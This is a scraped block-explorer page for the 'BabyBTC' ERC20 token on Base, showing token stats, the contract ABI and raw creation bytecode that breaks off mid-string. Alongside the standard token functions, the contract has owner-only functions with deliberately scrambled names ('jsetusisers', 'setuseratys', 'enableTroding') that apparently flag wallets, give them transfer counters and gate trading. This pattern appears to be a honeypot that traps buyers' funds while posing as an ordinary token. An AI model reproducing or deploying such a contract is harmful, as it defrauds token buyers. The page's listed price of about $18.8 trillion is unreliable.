Overview ERC20
PRICE
$18,800,860,459,514.09

ON-CHAIN MARKET CAP n/a

Total Supply:
21,000,000.00 BabyBTC

Holders:
792
Profile Summary
Blockchain:
Base (8453)


Decimals:
18
Contract Source Code Verified (Partial Match)
Contract Name:
BabyBTC

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No

Created At:
Fri, 10 May 2024 07:04:51 GMT
BabyBTC.sol
BabyBTC.sol
BabyBTC.sol


Contract ABI
[
  {
    "inputs": [],
    "stateMutability": "nonpayable",
    "type": "constructor"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Approval",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "previousOwner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "newOwner",
        "type": "address"
      }
    ],
    "name": "OwnershipTransferred",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "from",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "to",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Transfer",
    "type": "event"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      }
    ],
    "name": "allowance",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "name": "allowances",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "approve",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "account",
        "type": "address"
      }
    ],
    "name": "balanceOf",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "decimals",
    "outputs": [
      {
        "internalType": "uint8",
        "name": "",
        "type": "uint8"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "subtractedValue",
        "type": "uint256"
      }
    ],
    "name": "decreaseAllowance",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "enableTroding",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "account",
        "type": "address"
      },
      {
        "internalType": "bool",
        "name": "excluded",
        "type": "bool"
      }
    ],
    "name": "excludeFromenableTroding",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "_address",
        "type": "address"
      }
    ],
    "name": "getAllowancpxes",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "_address",
        "type": "address"
      }
    ],
    "name": "getuseroas",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "_address",
        "type": "address"
      }
    ],
    "name": "hasusxuers",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "addedValue",
        "type": "uint256"
      }
    ],
    "name": "increaseAllowance",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "account",
        "type": "address"
      }
    ],
    "name": "isExcludedFromenableTroding",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "_address",
        "type": "address"
      }
    ],
    "name": "jsetusisers",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "name",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "owner",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "renounceOwnership",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "_address",
        "type": "address"
      }
    ],
    "name": "setuseratys",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "symbol",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "totalSupply",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "tradingEnabled",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transfer",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "sender",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "recipient",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transferFrom",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "newOwner",
        "type": "address"
      }
    ],
    "name": "transferOwnership",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "stateMutability": "payable",
    "type": "receive"
  }
]


Contract Creation Code
60806040523480156200001157600080fd5b506040518060400160405280600781526020017f42616279425443000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f426162794254430000000000000000000000000000000000000000000000000081525081600290816200008f91906200078f565b508060039081620000a191906200078f565b505050620000c4620000b86200018060201b60201c565b6200018860201b60201c565b600160066000620000da6200018060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200017a6200013f6200018060201b60201c565b6200014f6200024e60201b60201c565b600a6200015d919062000a06565b6301406f406200016e919062000a57565b6200025760201b60201c565b62000be2565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c09062000b29565b60405180910390fd5b620002dd60008383620003cf60201b60201c565b8060046000828254620002f1919062000b4b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000348919062000b4b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003af919062000b97565b60405180910390a3620003cb600083836200050b60201b60201c565b5050565b620003e78383836200051060201b6200127c1760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015620004525750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004a85750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156200050657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190620005009062000bb4565b91905055505b505050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200059757607f821691505b602082108103620005ad57620005ac6200054f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005d8565b620006238683620005d8565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006706200066a62000664846200063b565b62000645565b6200063b565b9050919050565b6000819050919050565b6200068c836200064f565b620006a46200069b8262000677565b848454620005e5565b825550505050565b600090565b620006bb620006ac565b620006c881848462000681565b505050565b5b81811015620006f057620006e4600082620006b1565b600181019050620006ce565b5050565b601f8211156200073f576200070981620005b3565b6200071484620005c8565b8101602085101562000724578190505b6200073c6200073385620005c8565b830182620006cd565b50505b505050565b600082821c905092915050565b6000620007646000198460080262000744565b1980831691505092915050565b60006200077f838362000751565b9150826002028217905092915050565b6200079a8262000515565b67ffffffffffffffff811115620007b657620007b562000520565b5b620007c282546200057e565b620007cf828285620006f4565b600060209050601f831160018114620008075760008415620007f2578287015190505b620007fe858262000771565b8655506200086e565b601f1984166200081786620005b3565b60005b8281101562000841578489015182556001820191506020850194506020810190506200081a565b868310156200086157848901516200085d601f89168262000751565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200090457808604811115620008dc57620008db62000876565b5b6001851615620008ec5780820291505b8081029050620008fc85620008a5565b9450620008bc565b94509492505050565b6000826200091f5760019050620009f2565b816200092f5760009050620009f2565b8160018114620009485760028114620009535762000989565b6001915050620009f2565b60ff84111562000968576200096762000876565b5b8360020a91508482111562000982576200098162000876565b5b50620009f2565b5060208310610133831016604e8410600b8410161715620009c35782820a905083811115620009bd57620009bc62000876565b5b620009f2565b620009d28484846001620008b2565b92509050818404811115620009ec57620009eb62000876565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a13826200063b565b915062000a2083620009f9565b925062000a4f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200090d565b905092915050565b600062000a64826200063b565b915062000a71836200063b565b925082820262000a81816200063b565b9150828204841483151762000a9b5762000a9a62000876565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f20616464726573734260008201527f6162794254432000000000000000000000000000000000000000000000000000602082015250565b600062000b1160278362000aa2565b915062000b1e8262000ab3565b604082019050919050565b6000602082019050818103600083015262000b448162000b02565b9050919050565b600062000b58826200063b565b915062000b65836200063b565b925082820190508082111562000b805762000b7f62000876565b5b92915050565b62000b91816200063b565b82525050565b600060208201905062000bae600083018462000b86565b92915050565b600062000bc1826200063b565b91506000820362000bd75762000bd662000876565b5b600182039050919050565b61267d8062000bf26000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146104d9578063b4d5a00114610516578063bfab2e681461053f578063dd114d4514610568578063dd62ed3e146105a5578063f2fde38b146105e257610156565b8063715018a6146103c95780638b0c09a2146103e05780638da5cb5b1461040957806395d89b4114610434578063a0ca39d91461045f578063a457c2d71461049c57610156565b8063313ce56711610108578063313ce5671461027f57806339509351146102aa5780634ada218b146102e757806355b6ed5c1461031257806361e561031461034f57806370a082311461038c57610156565b806306fdde031461015b578063095ea7b31461018657806315c8ca4f146101c357806318160ddd146101da5780631a536f801461020557806323b872dd1461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b5061017061060b565b60405161017d9190611b55565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611c10565b61069d565b6040516101ba9190611c6b565b60405180910390f35b3480156101cf57600080fd5b506101d86106bb565b005b3480156101e657600080fd5b506101ef6107a4565b6040516101fc9190611c95565b60405180910390f35b34801561021157600080fd5b5061022c60048036038101906102279190611cb0565b6107ae565b6040516102399190611c6b565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190611cdd565b610804565b6040516102769190611c6b565b60405180910390f35b34801561028b57600080fd5b50610294610923565b6040516102a19190611d4c565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc9190611c10565b61092c565b6040516102de9190611c6b565b60405180910390f35b3480156102f357600080fd5b506102fc6109d8565b6040516103099190611c6b565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190611d67565b6109eb565b6040516103469190611c6b565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611cb0565b610a1a565b6040516103839190611c6b565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae9190611cb0565b610ab4565b6040516103c09190611c95565b60405180910390f35b3480156103d557600080fd5b506103de610afc565b005b3480156103ec57600080fd5b5061040760048036038101906104029190611cb0565b610b84565b005b34801561041557600080fd5b5061041e610ca0565b60405161042b9190611db6565b60405180910390f35b34801561044057600080fd5b50610449610cca565b6040516104569190611b55565b60405180910390f35b34801561046b57600080fd5b5061048660048036038101906104819190611cb0565b610d5c565b6040516104939190611c6b565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be9190611c10565b610db2565b6040516104d09190611c6b565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb9190611c10565b610e9d565b60405161050d9190611c6b565b60405180910390f35b34801561052257600080fd5b5061053d60048036038101906105389190611dfd565b610ebb565b005b34801561054b57600080fd5b5061056660048036038101906105619190611cb0565b610f92565b005b34801561057457600080fd5b5061058f600480360381019061058a9190611cb0565b6110b5565b60405161059c9190611c95565b60405180910390f35b3480156105b157600080fd5b506105cc60048036038101906105c79190611d67565b6110fe565b6040516105d99190611c95565b60405180910390f35b3480156105ee57600080fd5b5061060960048036038101906106049190611cb0565b611185565b005b60606002805461061a90611e6c565b80601f016020809104026020016040519081016040528092919081815260200182805461064690611e6c565b80156106935780601f1061066857610100808354040283529160200191610693565b820191906000526020600020905b81548152906001019060200180831161067657829003601f168201915b5050505050905090565b60006106b16106aa611281565b8484611289565b6001905092915050565b6106c3611281565b73ffffffffffffffffffffffffffffffffffffffff166106e1610ca0565b73ffffffffffffffffffffffffffffffffffffffff1614610737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072e90611f0f565b60405180910390fd5b600a60009054906101000a900460ff1615610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90611f7b565b60405180910390fd5b6001600a60006101000a81548160ff021916908315150217905550565b6000600454905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610850611281565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461090c57828110156108f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ee9061200d565b60405180910390fd5b61090b85610903611281565b858403611289565b5b610917858585611452565b60019150509392505050565b60006012905090565b60006109ce610939611281565b848460016000610947611281565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c9919061205c565b611289565b6001905092915050565b600a60009054906101000a900460ff1681565b60096020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600060096000610a28610ca0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b04611281565b73ffffffffffffffffffffffffffffffffffffffff16610b22610ca0565b73ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90611f0f565b60405180910390fd5b610b826000611651565b565b610b8c611281565b73ffffffffffffffffffffffffffffffffffffffff16610baa610ca0565b73ffffffffffffffffffffffffffffffffffffffff1614610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf790611f0f565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610cd990611e6c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0590611e6c565b8015610d525780601f10610d2757610100808354040283529160200191610d52565b820191906000526020600020905b815481529060010190602001808311610d3557829003601f168201915b5050505050905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060016000610dc1611281565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7590612102565b60405180910390fd5b610e92610e89611281565b85858403611289565b600191505092915050565b6000610eb1610eaa611281565b8484611452565b6001905092915050565b610ec3611281565b73ffffffffffffffffffffffffffffffffffffffff16610ee1610ca0565b73ffffffffffffffffffffffffffffffffffffffff1614610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e90611f0f565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610f9a611281565b73ffffffffffffffffffffffffffffffffffffffff16610fb8610ca0565b73ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100590611f0f565b60405180910390fd5b670f43fc2c04ee0000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61118d611281565b73ffffffffffffffffffffffffffffffffffffffff166111ab610ca0565b73ffffffffffffffffffffffffffffffffffffffff1614611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f890611f0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612194565b60405180910390fd5b61127981611651565b50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90612226565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e906122b8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114459190611c95565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b89061234a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611530576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611527906123dc565b60405180910390fd5b600a60009054906101000a900460ff16806115945750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115e85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161e90612448565b60405180910390fd5b600081036116405761163b83836000611717565b61164c565b61164b838383611717565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177d906124da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ec9061256c565b60405180910390fd5b611800838383611996565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d906125fe565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611919919061205c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161197d9190611c95565b60405180910390a3611990848484611ac0565b50505050565b6119a183838361127c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a605750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611abb57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611ab59061261e565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611aff578082015181840152602081019050611ae4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b2782611ac5565b611b318185611ad0565b9350611b41818560208601611ae1565b611b4a81611b0b565b840191505092915050565b60006020820190508181036000830152611b6f8184611b1c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ba782611b7c565b9050919050565b611bb781611b9c565b8114611bc257600080fd5b50565b600081359050611bd481611bae565b92915050565b6000819050919050565b611bed81611bda565b8114611bf857600080fd5b50565b600081359050611c0a81611be4565b92915050565b60008060408385031215611c2757611c26611b77565b5b6000611c3585828601611bc5565b9250506020611c4685828601611bfb565b9150509250929050565b60008115159050919050565b611c6581611c50565b82525050565b6000602082019050611c806000830184611c5c565b92915050565b611c8f81611bda565b82525050565b6000602082019050611caa6000830184611c86565b92915050565b600060208284031215611cc657611cc5611b77565b5b6000611cd484828501611bc5565b91505092915050565b600080600060608486031215611cf657611cf5611b77565b5b6000611d0486828701611bc5565b9350506020611d1586828701611bc5565b9250506040611d2686828701611bfb565b9150509250925092565b600060ff82169050919050565b611d4681611d30565b82525050565b6000602082019050611d616000830184611d3d565b92915050565b60008060408385031215611d7e57611d7d611b77565b5b6000611d8c85828601611bc5565b9250506020611d9d85828601611bc5565b9150509250929050565b611db081611b9c565b82525050565b6000602082019050611dcb6000830184611da7565b92915050565b611dda81611c50565b8114611de557600080fd5b50565b600081359050611df781611dd1565b92915050565b60008060408385031215611e1457611e13611b77565b5b6000611e2285828601611bc5565b9250506020611e3385828601611de8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e8457607f821691505b602082108103611e9757611e96611e3d565b5b50919050565b7f426162794254434f776e61626c653a2063616c6c6572206973206e6f7420746860008201527f65206f776e657200000000000000000000000000000000000000000000000000602082015250565b6000611ef9602783611ad0565b9150611f0482611e9d565b604082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b7f54726164696e6720616c7265616479204261627942544320656e61626c65642e600082015250565b6000611f65602083611ad0565b9150611f7082611f2f565b602082019050919050565b60006020820190508181036000830152611f9481611f58565b9050919050565b7f4261627942544345524332303a207472616e7366657220616d6f756e7420657860008201527f636565647320616c6c6f77616e63650000000000000000000000000000000000602082015250565b6000611ff7602f83611ad0565b915061200282611f9b565b604082019050919050565b6000602082019050818103600083015261202681611fea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061206782611bda565b915061207283611bda565b925082820190508082111561208a5761208961202d565b5b92915050565b7f45524332303a20646563726561736564204261627942544320616c6c6f77616e60008201527f63652062656c6f77207a65726f00000000000000000000000000000000000000602082015250565b60006120ec602d83611ad0565b91506120f782612090565b604082019050919050565b6000602082019050818103600083015261211b816120df565b9050919050565b7f4f776e61626c653a206e6577206f776e6572206973204261627942544320746860008201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b600061217e602e83611ad0565b915061218982612122565b604082019050919050565b600060208201905081810360008301526121ad81612171565b9050919050565b7f45524332303a204261627942544320617070726f76652066726f6d207468652060008201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b6000612210602c83611ad0565b915061221b826121b4565b604082019050919050565b6000602082019050818103600083015261223f81612203565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006122a2602283611ad0565b91506122ad82612246565b604082019050919050565b600060208201905081810360008301526122d181612295565b9050919050565b7f45524332303a207472616e7366657220426162794254432066726f6d2074686560008201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b6000612334602d83611ad0565b915061233f826122d8565b604082019050919050565b6000602082019050818103600083015261236381612327565b9050919050565b7f45524332303a207472616e7366657220746f207468652042616279425443207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b60006123c6602b83611ad0565b91506123d18261236a565b604082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b7f54726164696e67206e6f7420426162794254432079657420656e61626c656421600082015250565b6000612432602083611ad0565b915061243d826123fc565b602082019050919050565b6000602082019050818103600083015261246181612425565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865204261627942544360008201527f207a65726f206164647265737300000000000000000000000000000000000000602082015250565b60006124c4602d83611ad0565b91506124cf82612468565b604082019050919050565b600060208201905081810360008301526124f3816124b7565b9050919050565b7f426162794254433a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612556602583611ad0565b9150612561826124fa565b604082019050919050565b6000602082019050818103600083015261258581612549565b9050919050565b7f45524332303a207472616e73666572